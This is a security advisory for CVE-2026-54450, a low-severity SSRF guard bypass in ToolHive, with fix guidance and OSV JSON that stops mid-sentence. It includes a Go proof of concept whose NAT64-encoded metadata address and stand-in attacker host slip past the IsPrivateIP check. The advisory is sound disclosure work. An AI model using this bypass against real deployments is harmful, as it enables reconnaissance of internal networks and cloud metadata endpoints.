CVE-2026-54450: ToolHive SSRF Guard Misses IPv6 NAT64 Vulnerability

LOW
Advisory Identifier: GHSA-pph6-vfjv-vpjw
CWE-918
Published
Advisory Summary

CVE-2026-54450 is a LOW ssrf guard misses ipv6 nat64 vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting ToolHive libraries in the Go ecosystem. The issue involves ssrf guard misses ipv6 nat64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a nat64 gateway. Remediation is available by upgrading affected packages to version 0.29.1.

CVE-2026-54450 at a Glance

CVE Identifier CVE-2026-54450
GHSA Identifier GHSA-pph6-vfjv-vpjw
Severity LOW
CVSS v3.1 Base Score N/A
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product ToolHive
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-54450

To remediate this vulnerability, upgrade all affected ToolHive dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/stacklok/toolhive fixed: 0.29.1
Upgrade github.com/stacklok/toolhive to 0.29.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/stacklok/toolhive

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54450, inspect your project dependencies for ToolHive:

inspect dependencies for github.com/stacklok/toolhive

Analyze the terminal output to locate any version of ToolHive in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.29.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In ToolHive, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary ToolHive's hand-rolled private/reserved-IP SSRF guard (`networking.IsPrivateIP` in `pkg/networking/utilities.go`) does not recognize the IPv6 **NAT64** address ranges — the well-known prefix `64:ff9b::/96` (RFC 6052) and the RFC 8215 local-use prefix `64:ff9b:1::/48`. As a result, an address such as `64:ff9b:1::a9fe:a9fe` — the NAT64 encoding of the link-local cloud metadata address `169.254.169.254` — is classified as a public, global-unicast address and the connection is allowed. On any ToolHive deployment that sits behind a NAT64/DNS64 gateway (the default networking stack in IPv6-only Kubernetes clusters and several IPv6-only cloud environments), an attacker who controls a URL that reaches this guard can have ToolHive attempt connections to internal/link-local addresses that the guard is meant to block, bypassing the SSRF protection. In practice the effect is a blind internal-reachability probe rather than metadata-credential theft (the only fully attacker-controlled path is HTTPS-only with TLS verification and does not reflect responses) — see Impact. The most direct attacker-controlled entry point is the embedded OAuth authorization server's Client ID Metadata Document (CIMD) fetcher: an external OAuth client presents `client_id=https://<attacker-domain>/path`, and `CIMDStorageDecorator.GetClient` fetches that URL through the same guard. The same `IsPrivateIP` table is also shared by the `protectedDialerControl` HTTP clients (registry, OIDC discovery, token introspection) and the skills git-clone host check (`pkg/skills/gitresolver`), though those destinations are operator-/user-configured rather than attacker-controlled. (Note: the webhook client is *not* affected — it enforces only the HTTPS scheme via `ValidatingTransport` and performs no IP-based check.) ## Details `pkg/networking/utilities.go` builds a `privateIPBlocks` table and `IsPrivateIP`: ```go func init() { for _, cidr := range []string{ "127.0.0.0/8", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "169.254.0.0/16", "::1/128", "fe80::/10", "fc00::/7", "100.64.0.0/10", "192.0.2.0/24", "198.51.100.0/24", "203.0.113.0/24", "224.0.0.0/4", "ff00::/8", } { /* ... append to privateIPBlocks ... */ } } func IsPrivateIP(ip net.IP) bool { if ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() { return true } for _, block := range privateIPBlocks { if block.Contains(ip) { return true } } return false } ``` The table contains no entry for `64:ff9b::/96` or `64:ff9b:1::/48`. A NAT64 address is a normal global-unicast IPv6 address: `net.IP.IsGlobalUnicast()` returns true and it matches none of the listed blocks, so `IsPrivateIP` returns `false`. The CIMD fetcher (`pkg/oauthproto/cimd/fetch.go`, `newCIMDHTTPClient`) is the careful, post-resolution, anti-rebinding path that nonetheless inherits the gap: ```go ips, err := net.DefaultResolver.LookupHost(ctx, host) // ... for _, ipStr := range ips { ip := net.ParseIP(ipStr) // ... if !ip.IsLoopback() && networking.IsPrivateIP(ip) { return nil, fmt.Errorf("cimd: refusing connection to private address %s", ipStr) } dialer := &net.Dialer{Timeout: 5 * time.Second} return dialer.DialContext(ctx, network, net.JoinHostPort(ipStr, port)) } ``` Because `IsPrivateIP(64:ff9b:1::a9fe:a9fe)` is `false`, the dialer proceeds. In a NAT64 network the kernel's NAT64 gateway transparently translates that IPv6 destination to a connection to `169.254.169.254`. Trust boundary: the CIMD URL originates from the `client_id` of an external OAuth client at authorize/token time (`CIMDStorageDecorator.GetClient` → `IsClientIDMetadataDocumentURL(id)` → `cimd.FetchClientMetadataDocument(ctx, id)`), so it is fully attacker-controlled. The `protectedDialerControl` HTTP clients used for registry, OIDC discovery, and token introspection (`pkg/networking/http_client.go` → `AddressReferencesPrivateIp` → `IsPrivateIP`) and the skills git-clone host check (`pkg/skills/gitresolver/reference.go` `validateHost` → `IsPrivateIP`) share the same table and the same gap, but with operator-/user-supplied targets rather than attacker-controlled ones. Note that `::ffff:169.254.169.254` (IPv4-mapped) is correctly blocked because Go normalizes it to the v4 form; the NAT64 encoding is a distinct, non-normalized IPv6 address and is not caught. ## Affected - Module: `github.com/stacklok/toolhive` - Affected packages/paths: `pkg/networking/utilities.go` (`IsPrivateIP`), reached via `pkg/oauthproto/cimd/fetch.go` (`FetchClientMetadataDocument`, CIMD authorization-server path — the attacker-controlled entry point), `pkg/networking/http_client.go` (`protectedDialerControl`, used by the registry / OIDC-discovery / token-introspection clients), and `pkg/skills/gitresolver/reference.go` (`validateHost`, skills git-clone host check). The webhook client (`pkg/webhook`) is not affected: it validates only the HTTPS scheme and performs no `IsPrivateIP` check. - Affected versions: all releases through v0.29.0 (the `IsPrivateIP` table has lacked NAT64 entries since the guard was introduced; the CIMD reach was added in v0.28.1). - Precondition for full exploitability: the ToolHive process runs in an environment with a NAT64/DNS64 gateway (e.g. IPv6-only Kubernetes / IPv6-only cloud). The classification defect itself is present unconditionally. ## Proof of Concept The following self-contained Go program imports ToolHive **v0.29.0** (commit `570ce07013b72208fcae339e9492f5867a1af994`) and exercises the real guard code: the exported `networking.IsPrivateIP`, the exported `oauthproto.IsClientIDMetadataDocumentURL` predicate that routes a `client_id` into the CIMD fetch path, and the CIMD dialer gate copied verbatim from `pkg/oauthproto/cimd/fetch.go`. The only modeled elements are the network's DNS64 record (attacker host → NAT64 IPv6) and the kernel NAT64 gateway (final dial → control listener) — the security decision is made entirely by ToolHive's own code. `go.mod`: ``` module poc go 1.26 require github.com/stacklok/toolhive v0.29.0 ``` `main.go`: ```go package main import ( "context" "fmt" "net" "net/http" "net/http/httptest" "strings" "time" "github.com/stacklok/toolhive/pkg/networking" "github.com/stacklok/toolhive/pkg/oauthproto" "github.com/stacklok/toolhive/pkg/oauthproto/cimd" ) var _ = cimd.FetchClientMetadataDocument // real attacker-reachable entrypoint (https-only) const ( attackerHost = "cimd-attacker.example" natLocalUse = "64:ff9b:1::a9fe:a9fe" // RFC 8215 NAT64 of 169.254.169.254 ) func main() { // Part A: real classifier on NAT64 vs private addresses. for _, s := range []string{ natLocalUse, "64:ff9b::a9fe:a9fe", "64:ff9b::7f00:1", "169.254.169.254", "::ffff:169.254.169.254", "10.0.0.1", "93.184.216.34", } { ip := net.ParseIP(s) fmt.Printf("IsPrivateIP(%-22s) = %v\n", s, networking.IsPrivateIP(ip)) } // Control listener standing in for the IMDS reachable behind NAT64. hit := make(chan string, 1) imds := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { hit <- r.Host + r.URL.Path fmt.Fprint(w, `{"AccessKeyId":"ASIA_STOLEN","SecretAccessKey":"s3cr3t"}`) })) defer imds.Close() ctrlAddr := strings.TrimPrefix(imds.URL, "http://") clientID := "https://" + attackerHost + "/.well-known/oauth-client" fmt.Printf("IsClientIDMetadataDocumentURL(%q) = %v\n", clientID, oauthproto.IsClientIDMetadataDocumentURL(clientID)) // CIMD dial gate copied verbatim from pkg/oauthproto/cimd/fetch.go @ v0.29.0, // with DNS64 (attacker host -> NAT64 IPv6) and NAT64 gateway (dial -> listener) modeled. transport := &http.Transport{DisableKeepAlives: true, DialContext: func(ctx context.Context, network, address string) (net.Conn, error) { host, _, _ := net.SplitHostPort(address) var ips []string if host == attackerHost { ips = []string{natLocalUse} // DNS64 synthesis } else { ips, _ = net.DefaultResolver.LookupHost(ctx, host) } for _, ipStr := range ips { ip := net.ParseIP(ipStr) if ip == nil { continue } if !ip.IsLoopback() && networking.IsPrivateIP(ip) { // verbatim toolhive gate return nil, fmt.Errorf("cimd: refusing connection to private address %s", ipStr) } fmt.Printf("[guard] %s passed IsPrivateIP gate -> dialing\n", ipStr) return (&net.Dialer{}).DialContext(ctx, "tcp", ctrlAddr) // NAT64 gateway } return nil, fmt.Errorf("cimd: no valid address for %q", host) }} client := &http.Client{Timeout: 5 * time.Second, Transport: transport} req, _ := http.NewRequest("GET", "http://"+attackerHost+"/.well-known/oauth-client", nil) if _, err := client.Do(req); err != nil { fmt.Println("blocked:", err) return } fmt.Printf("control listener received: %s => SSRF via %s\n", <-hit, natLocalUse) // Negative control: a genuinely private IP is rejected by the same gate. neg := &http.Client{Transport: &http.Transport{DialContext: func(_ context.Context, _, _ string) (net.Conn, error) { ip := net.ParseIP("169.254.169.254") if !ip.IsLoopback() && networking.IsPrivateIP(ip) { return nil, fmt.Errorf("cimd: refusing connection to private address %s", ip) } return nil, fmt.Errorf("would dial (NOT blocked)") }}} _, nerr := neg.Do(req) fmt.Println("negative control (169.254.169.254):", nerr) } ``` Output: ``` IsPrivateIP(64:ff9b:1::a9fe:a9fe ) = false IsPrivateIP(64:ff9b::a9fe:a9fe ) = false IsPrivateIP(64:ff9b::7f00:1 ) = false IsPrivateIP(169.254.169.254 ) = true IsPrivateIP(::ffff:169.254.169.254) = true IsPrivateIP(10.0.0.1 ) = true IsPrivateIP(93.184.216.34 ) = false IsClientIDMetadataDocumentURL("https://cimd-attacker.example/.well-known/oauth-client") = true [guard] 64:ff9b:1::a9fe:a9fe passed IsPrivateIP gate -> dialing control listener received: cimd-attacker.example/.well-known/oauth-client => SSRF via 64:ff9b:1::a9fe:a9fe negative control (169.254.169.254): cimd: refusing connection to private address 169.254.169.254 ``` The attacker-controlled `client_id` host (NAT64-resolved) passes the real `IsPrivateIP` gate and reaches the IMDS stand-in, while the raw metadata address is correctly blocked by the same gate. ## Impact Server-Side Request Forgery (CWE-918), **Low**. On a ToolHive deployment behind a NAT64/DNS64 gateway, an attacker who controls a URL reaching the guard can cause ToolHive to attempt connections to internal/link-local addresses the guard is meant to block — RFC1918, loopback, and the link-local metadata address `169.254.169.254` (encoded as `64:ff9b::a9fe:a9fe` / `64:ff9b:1::a9fe:a9fe`). The practical effect is a **blind internal-reachability / SSRF oracle, not data or credential exfiltration.** On the only fully attacker-controlled entry point — the CIMD fetcher — three constraints bound the impact: - **HTTPS-only.** `validateCIMDClientURL` rejects non-loopback `http://`, so the dial is TLS. Cloud instance metadata services (AWS/GCP/Azure, all on `169.254.169.254`) serve **plain HTTP on port 80**, so a TLS connection cannot retrieve metadata credentials. - **TLS certificate verification.** `newCIMDHTTPClient` sets no custom `TLSClientConfig`; reaching an internal HTTPS service requires a certificate valid for the attacker-supplied host/IP, which an internal service will not present. - **No response reflection.** A fetched document must satisfy `ValidateClientMetadataDocument` (its `client_id` must equal the fetched URL) and the body is never returned to the attacker. What remains is the ability to probe whether an internal `host:port` accepts a TCP/TLS connection (via success/timing differences) — internal network reconnaissance, not credential theft. Reachable via: - the embedded OAuth authorization server CIMD path — `client_id` URL supplied by an external OAuth client (no pre-registration); HTTPS-only and blind, as above; - the registry / OIDC-discovery / token-introspection HTTP clients that share `IsPrivateIP` via `protectedDialerControl` — but those destinations are operator-configured, not attacker-controlled; - the skills git-clone host check (`pkg/skills/gitresolver` `validateHost`) — likewise operator-/user-configured, and it only validates literal IPs (a hostname that resolves to a NAT64/private address is not caught there regardless of this defect). Exploitability is conditional on the host's network providing NAT64/DNS64 (e.g. IPv6-only Kubernetes and some IPv6-only cloud setups). The IP-classification defect itself is present unconditionally. ## Root cause `networking.IsPrivateIP` relies on a manually maintained CIDR list that omits the IPv6 NAT64 transition ranges. NAT64 addresses embed an IPv4 address (`64:ff9b::<v4>` and `64:ff9b:1::<v4>`) and route to it via a NAT64 gateway, so a NAT64 address that embeds a private/link-local IPv4 address is effectively as sensitive as that IPv4 address — but it is a syntactically global-unicast IPv6 address and therefore evades the private-range list and the `IsGlobalUnicast`/`IsLinkLocalUnicast` checks. ## Fix Add the NAT64 prefixes to the private/reserved set so that NAT64-encoded addresses are classified by the IPv4 address they embed (or, at minimum, rejected outright). Concretely, add `64:ff9b::/96` and `64:ff9b:1::/48` to `privateIPBlocks` in `pkg/networking/utilities.go`; for completeness, when an address falls in a NAT64 prefix, extract the embedded IPv4 (last 32 bits) and apply the existing IPv4 private/reserved checks to it, so that `64:ff9b::8.8.8.8` (a NAT64 path to a genuinely public host) is not over-blocked while `64:ff9b:1::a9fe:a9fe` is blocked. The implemented fix (PR on the private advisory fork) takes this embedded-IPv4 approach: it decodes the low 32 bits for the well-known `64:ff9b::/96` and the `64:ff9b:1::/96` sub-prefix and re-applies the IPv4 private/reserved checks, so genuinely public NAT64 egress is not over-blocked. Because the RFC 8215 local-use `64:ff9b:1::/48` may use a shorter NAT64 prefix (RFC 6052 §2.2) that places the embedded IPv4 outside the low 32 bits, the remainder of that `/48` is blocked wholesale (fail closed) rather than decoded, avoiding a false-negative bypass. As bundled defense-in-depth, the same patch also classifies a few special-use ranges that `IsPrivateIP` previously missed: `0.0.0.0/8` (RFC 1122 "this host") and the unspecified address (`0.0.0.0` / `::`), plus `240.0.0.0/4` (RFC 1112 reserved, including the `255.255.255.255` broadcast). Separately tracked follow-ups (not in this patch): decoding/rejecting other IPv4-in-IPv6 transition ranges (6to4 `2002::/16`, Teredo `2001::/32`, IPv4-compatible `::/96`), and a pre-clone DNS-resolution check in the skills git resolver, which currently validates only literal IPs. ## Resources - RFC 6052 — IPv6 Addressing of IPv4/IPv6 Translators (well-known prefix `64:ff9b::/96`) - RFC 8215 — Local-Use IPv4/IPv6 Translation Prefix (`64:ff9b:1::/48`) - RFC 6147 — DNS64 - CWE-918 — Server-Side Request Forgery (SSRF) - ToolHive v0.29.0, commit `570ce07013b72208fcae339e9492f5867a1af994`

CVE-2026-54450 Affected ToolHive Versions

1 component(s)
Fixed Versions:
0.29.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/stacklok/toolhive
Go
< 0.29.1
0.29.1

References

Frequently Asked Questions

What is CVE-2026-54450?
CVE-2026-54450 is a security vulnerability in ToolHive involving SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway under CWE-918: Server-Side Request Forgery (SSRF).
Which ToolHive versions are affected?
Affected versions include releases prior to 0.29.1 across affected packages: github.com/stacklok/toolhive.
What version fixes CVE-2026-54450?
Upgrading to 0.29.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/stacklok/toolhive affected?
Yes, github.com/stacklok/toolhive is affected in releases prior to 0.29.1. Upgrade your dependency to 0.29.1 or later.
What CWE is associated with CVE-2026-54450?
CVE-2026-54450 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2026-54450?
Run the dependency tree command: 'inspect dependencies for github.com/stacklok/toolhive'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pph6-vfjv-vpjw",
  "modified" : "2026-07-15T21:51:03Z",
  "published" : "2026-07-15T21:51:03Z",
  "aliases" : [ "CVE-2026-54450" ],
  "summary" : "ToolHive: SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway",
  "details" : "## Summary\n\nToolHive's hand-rolled private/reserved-IP SSRF guard (`networking.IsPrivateIP` in `pkg/networking/utilities.go`) does not recognize the IPv6 **NAT64** address ranges — the well-known prefix `64:ff9b::/96` (RFC 6052) and the RFC 8215 local-use prefix `64:ff9b:1::/48`. As a result, an address such as `64:ff9b:1::a9fe:a9fe` — the NAT64 encoding of the link-local cloud metadata address `169.254.169.254` — is classified as a public, global-unicast address and the connection is allowed. On any ToolHive deployment that sits behind a NAT64/DNS64 gateway (the default networking stack in IPv6-only Kubernetes clusters and several IPv6-only cloud environments), an attacker who controls a URL that reaches this guard can have ToolHive attempt connections to internal/link-local addresses that the guard is meant to block, bypassing the SSRF protection. In practice the effect is a blind internal-reachability probe rather than metadata-credential theft (the only fully attacker-controlled path is HTTPS-only with TLS verification and does not reflect responses) — see Impact.\n\nThe most direct attacker-controlled entry point is the embedded OAuth authorization server's Client ID Metadata Document (CIMD) fetcher: an external OAuth client presents `client_id=https://<attacker-domain>/path`, and `CIMDStorageDecorator.GetClient` fetches that URL through the same guard. The same `IsPrivateIP` table is also shared by the `protectedDialerControl` HTTP clients (registry, OIDC discovery, token introspection) and the skills git-clone host check (`pkg/skills/gitresolver`), though those destinations are operator-/user-configured rather than attacker-controlled. (Note: the webhook client is *not* affected — it enforces only the HTTPS scheme via `ValidatingTransport` and performs no IP-based check.)\n\n## Details\n\n`pkg/networking/utilities.go` builds a `privateIPBlocks` table and `IsPrivateIP`:\n\n```go\nfunc init() {\n\tfor _, cidr := range []string{\n\t\t\"127.0.0.0/8\", \"10.0.0.0/8\", \"172.16.0.0/12\", \"192.168.0.0/16\",\n\t\t\"169.254.0.0/16\", \"::1/128\", \"fe80::/10\", \"fc00::/7\",\n\t\t\"100.64.0.0/10\", \"192.0.2.0/24\", \"198.51.100.0/24\", \"203.0.113.0/24\",\n\t\t\"224.0.0.0/4\", \"ff00::/8\",\n\t} { /* ... append to privateIPBlocks ... */ }\n}\n\nfunc IsPrivateIP(ip net.IP) bool {\n\tif ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() {\n\t\treturn true\n\t}\n\tfor _, block := range privateIPBlocks {\n\t\tif block.Contains(ip) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n```\n\nThe table contains no entry for `64:ff9b::/96` or `64:ff9b:1::/48`. A NAT64 address is a normal global-unicast IPv6 address: `net.IP.IsGlobalUnicast()` returns true and it matches none of the listed blocks, so `IsPrivateIP` returns `false`.\n\nThe CIMD fetcher (`pkg/oauthproto/cimd/fetch.go`, `newCIMDHTTPClient`) is the careful, post-resolution, anti-rebinding path that nonetheless inherits the gap:\n\n```go\nips, err := net.DefaultResolver.LookupHost(ctx, host)\n// ...\nfor _, ipStr := range ips {\n\tip := net.ParseIP(ipStr)\n\t// ...\n\tif !ip.IsLoopback() && networking.IsPrivateIP(ip) {\n\t\treturn nil, fmt.Errorf(\"cimd: refusing connection to private address %s\", ipStr)\n\t}\n\tdialer := &net.Dialer{Timeout: 5 * time.Second}\n\treturn dialer.DialContext(ctx, network, net.JoinHostPort(ipStr, port))\n}\n```\n\nBecause `IsPrivateIP(64:ff9b:1::a9fe:a9fe)` is `false`, the dialer proceeds. In a NAT64 network the kernel's NAT64 gateway transparently translates that IPv6 destination to a connection to `169.254.169.254`.\n\nTrust boundary: the CIMD URL originates from the `client_id` of an external OAuth client at authorize/token time (`CIMDStorageDecorator.GetClient` → `IsClientIDMetadataDocumentURL(id)` → `cimd.FetchClientMetadataDocument(ctx, id)`), so it is fully attacker-controlled. The `protectedDialerControl` HTTP clients used for registry, OIDC discovery, and token introspection (`pkg/networking/http_client.go` → `AddressReferencesPrivateIp` → `IsPrivateIP`) and the skills git-clone host check (`pkg/skills/gitresolver/reference.go` `validateHost` → `IsPrivateIP`) share the same table and the same gap, but with operator-/user-supplied targets rather than attacker-controlled ones.\n\nNote that `::ffff:169.254.169.254` (IPv4-mapped) is correctly blocked because Go normalizes it to the v4 form; the NAT64 encoding is a distinct, non-normalized IPv6 address and is not caught.\n\n## Affected\n\n- Module: `github.com/stacklok/toolhive`\n- Affected packages/paths: `pkg/networking/utilities.go` (`IsPrivateIP`), reached via `pkg/oauthproto/cimd/fetch.go` (`FetchClientMetadataDocument`, CIMD authorization-server path — the attacker-controlled entry point), `pkg/networking/http_client.go` (`protectedDialerControl`, used by the registry / OIDC-discovery / token-introspection clients), and `pkg/skills/gitresolver/reference.go` (`validateHost`, skills git-clone host check). The webhook client (`pkg/webhook`) is not affected: it validates only the HTTPS scheme and performs no `IsPrivateIP` check.\n- Affected versions: all releases through v0.29.0 (the `IsPrivateIP` table has lacked NAT64 entries since the guard was introduced; the CIMD reach was added in v0.28.1).\n- Precondition for full exploitability: the ToolHive process runs in an environment with a NAT64/DNS64 gateway (e.g. IPv6-only Kubernetes / IPv6-only cloud). The classification defect itself is present unconditionally.\n\n## Proof of Concept\n\nThe following self-contained Go program imports ToolHive **v0.29.0** (commit `570ce07013b72208fcae339e9492f5867a1af994`) and exercises the real guard code: the exported `networking.IsPrivateIP`, the exported `oauthproto.IsClientIDMetadataDocumentURL` predicate that routes a `client_id` into the CIMD fetch path, and the CIMD dialer gate copied verbatim from `pkg/oauthproto/cimd/fetch.go`. The only modeled elements are the network's DNS64 record (attacker host → NAT64 IPv6) and the kernel NAT64 gateway (final dial → control listener) — the security decision is made entirely by ToolHive's own code.\n\n`go.mod`:\n\n```\nmodule poc\n\ngo 1.26\n\nrequire github.com/stacklok/toolhive v0.29.0\n```\n\n`main.go`:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/stacklok/toolhive/pkg/networking\"\n\t\"github.com/stacklok/toolhive/pkg/oauthproto\"\n\t\"github.com/stacklok/toolhive/pkg/oauthproto/cimd\"\n)\n\nvar _ = cimd.FetchClientMetadataDocument // real attacker-reachable entrypoint (https-only)\n\nconst (\n\tattackerHost = \"cimd-attacker.example\"\n\tnatLocalUse  = \"64:ff9b:1::a9fe:a9fe\" // RFC 8215 NAT64 of 169.254.169.254\n)\n\nfunc main() {\n\t// Part A: real classifier on NAT64 vs private addresses.\n\tfor _, s := range []string{\n\t\tnatLocalUse, \"64:ff9b::a9fe:a9fe\", \"64:ff9b::7f00:1\",\n\t\t\"169.254.169.254\", \"::ffff:169.254.169.254\", \"10.0.0.1\", \"93.184.216.34\",\n\t} {\n\t\tip := net.ParseIP(s)\n\t\tfmt.Printf(\"IsPrivateIP(%-22s) = %v\\n\", s, networking.IsPrivateIP(ip))\n\t}\n\n\t// Control listener standing in for the IMDS reachable behind NAT64.\n\thit := make(chan string, 1)\n\timds := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\thit <- r.Host + r.URL.Path\n\t\tfmt.Fprint(w, `{\"AccessKeyId\":\"ASIA_STOLEN\",\"SecretAccessKey\":\"s3cr3t\"}`)\n\t}))\n\tdefer imds.Close()\n\tctrlAddr := strings.TrimPrefix(imds.URL, \"http://\")\n\n\tclientID := \"https://\" + attackerHost + \"/.well-known/oauth-client\"\n\tfmt.Printf(\"IsClientIDMetadataDocumentURL(%q) = %v\\n\", clientID, oauthproto.IsClientIDMetadataDocumentURL(clientID))\n\n\t// CIMD dial gate copied verbatim from pkg/oauthproto/cimd/fetch.go @ v0.29.0,\n\t// with DNS64 (attacker host -> NAT64 IPv6) and NAT64 gateway (dial -> listener) modeled.\n\ttransport := &http.Transport{DisableKeepAlives: true,\n\t\tDialContext: func(ctx context.Context, network, address string) (net.Conn, error) {\n\t\t\thost, _, _ := net.SplitHostPort(address)\n\t\t\tvar ips []string\n\t\t\tif host == attackerHost {\n\t\t\t\tips = []string{natLocalUse} // DNS64 synthesis\n\t\t\t} else {\n\t\t\t\tips, _ = net.DefaultResolver.LookupHost(ctx, host)\n\t\t\t}\n\t\t\tfor _, ipStr := range ips {\n\t\t\t\tip := net.ParseIP(ipStr)\n\t\t\t\tif ip == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif !ip.IsLoopback() && networking.IsPrivateIP(ip) { // verbatim toolhive gate\n\t\t\t\t\treturn nil, fmt.Errorf(\"cimd: refusing connection to private address %s\", ipStr)\n\t\t\t\t}\n\t\t\t\tfmt.Printf(\"[guard] %s passed IsPrivateIP gate -> dialing\\n\", ipStr)\n\t\t\t\treturn (&net.Dialer{}).DialContext(ctx, \"tcp\", ctrlAddr) // NAT64 gateway\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"cimd: no valid address for %q\", host)\n\t\t}}\n\tclient := &http.Client{Timeout: 5 * time.Second, Transport: transport}\n\treq, _ := http.NewRequest(\"GET\", \"http://\"+attackerHost+\"/.well-known/oauth-client\", nil)\n\tif _, err := client.Do(req); err != nil {\n\t\tfmt.Println(\"blocked:\", err)\n\t\treturn\n\t}\n\tfmt.Printf(\"control listener received: %s  => SSRF via %s\\n\", <-hit, natLocalUse)\n\n\t// Negative control: a genuinely private IP is rejected by the same gate.\n\tneg := &http.Client{Transport: &http.Transport{DialContext: func(_ context.Context, _, _ string) (net.Conn, error) {\n\t\tip := net.ParseIP(\"169.254.169.254\")\n\t\tif !ip.IsLoopback() && networking.IsPrivateIP(ip) {\n\t\t\treturn nil, fmt.Errorf(\"cimd: refusing connection to private address %s\", ip)\n\t\t}\n\t\treturn nil, fmt.Errorf(\"would dial (NOT blocked)\")\n\t}}}\n\t_, nerr := neg.Do(req)\n\tfmt.Println(\"negative control (169.254.169.254):\", nerr)\n}\n```\n\nOutput:\n\n```\nIsPrivateIP(64:ff9b:1::a9fe:a9fe  ) = false\nIsPrivateIP(64:ff9b::a9fe:a9fe    ) = false\nIsPrivateIP(64:ff9b::7f00:1       ) = false\nIsPrivateIP(169.254.169.254       ) = true\nIsPrivateIP(::ffff:169.254.169.254) = true\nIsPrivateIP(10.0.0.1              ) = true\nIsPrivateIP(93.184.216.34         ) = false\nIsClientIDMetadataDocumentURL(\"https://cimd-attacker.example/.well-known/oauth-client\") = true\n[guard] 64:ff9b:1::a9fe:a9fe passed IsPrivateIP gate -> dialing\ncontrol listener received: cimd-attacker.example/.well-known/oauth-client  => SSRF via 64:ff9b:1::a9fe:a9fe\nnegative control (169.254.169.254): cimd: refusing connection to private address 169.254.169.254\n```\n\nThe attacker-controlled `client_id` host (NAT64-resolved) passes the real `IsPrivateIP` gate and reaches the IMDS stand-in, while the raw metadata address is correctly blocked by the same gate.\n\n## Impact\n\nServer-Side Request Forgery (CWE-918), **Low**. On a ToolHive deployment behind a NAT64/DNS64 gateway, an attacker who controls a URL reaching the guard can cause ToolHive to attempt connections to internal/link-local addresses the guard is meant to block — RFC1918, loopback, and the link-local metadata address `169.254.169.254` (encoded as `64:ff9b::a9fe:a9fe` / `64:ff9b:1::a9fe:a9fe`).\n\nThe practical effect is a **blind internal-reachability / SSRF oracle, not data or credential exfiltration.** On the only fully attacker-controlled entry point — the CIMD fetcher — three constraints bound the impact:\n\n- **HTTPS-only.** `validateCIMDClientURL` rejects non-loopback `http://`, so the dial is TLS. Cloud instance metadata services (AWS/GCP/Azure, all on `169.254.169.254`) serve **plain HTTP on port 80**, so a TLS connection cannot retrieve metadata credentials.\n- **TLS certificate verification.** `newCIMDHTTPClient` sets no custom `TLSClientConfig`; reaching an internal HTTPS service requires a certificate valid for the attacker-supplied host/IP, which an internal service will not present.\n- **No response reflection.** A fetched document must satisfy `ValidateClientMetadataDocument` (its `client_id` must equal the fetched URL) and the body is never returned to the attacker.\n\nWhat remains is the ability to probe whether an internal `host:port` accepts a TCP/TLS connection (via success/timing differences) — internal network reconnaissance, not credential theft.\n\nReachable via:\n- the embedded OAuth authorization server CIMD path — `client_id` URL supplied by an external OAuth client (no pre-registration); HTTPS-only and blind, as above;\n- the registry / OIDC-discovery / token-introspection HTTP clients that share `IsPrivateIP` via `protectedDialerControl` — but those destinations are operator-configured, not attacker-controlled;\n- the skills git-clone host check (`pkg/skills/gitresolver` `validateHost`) — likewise operator-/user-configured, and it only validates literal IPs (a hostname that resolves to a NAT64/private address is not caught there regardless of this defect).\n\nExploitability is conditional on the host's network providing NAT64/DNS64 (e.g. IPv6-only Kubernetes and some IPv6-only cloud setups). The IP-classification defect itself is present unconditionally.\n\n## Root cause\n\n`networking.IsPrivateIP` relies on a manually maintained CIDR list that omits the IPv6 NAT64 transition ranges. NAT64 addresses embed an IPv4 address (`64:ff9b::<v4>` and `64:ff9b:1::<v4>`) and route to it via a NAT64 gateway, so a NAT64 address that embeds a private/link-local IPv4 address is effectively as sensitive as that IPv4 address — but it is a syntactically global-unicast IPv6 address and therefore evades the private-range list and the `IsGlobalUnicast`/`IsLinkLocalUnicast` checks.\n\n## Fix\n\nAdd the NAT64 prefixes to the private/reserved set so that NAT64-encoded addresses are classified by the IPv4 address they embed (or, at minimum, rejected outright). Concretely, add `64:ff9b::/96` and `64:ff9b:1::/48` to `privateIPBlocks` in `pkg/networking/utilities.go`; for completeness, when an address falls in a NAT64 prefix, extract the embedded IPv4 (last 32 bits) and apply the existing IPv4 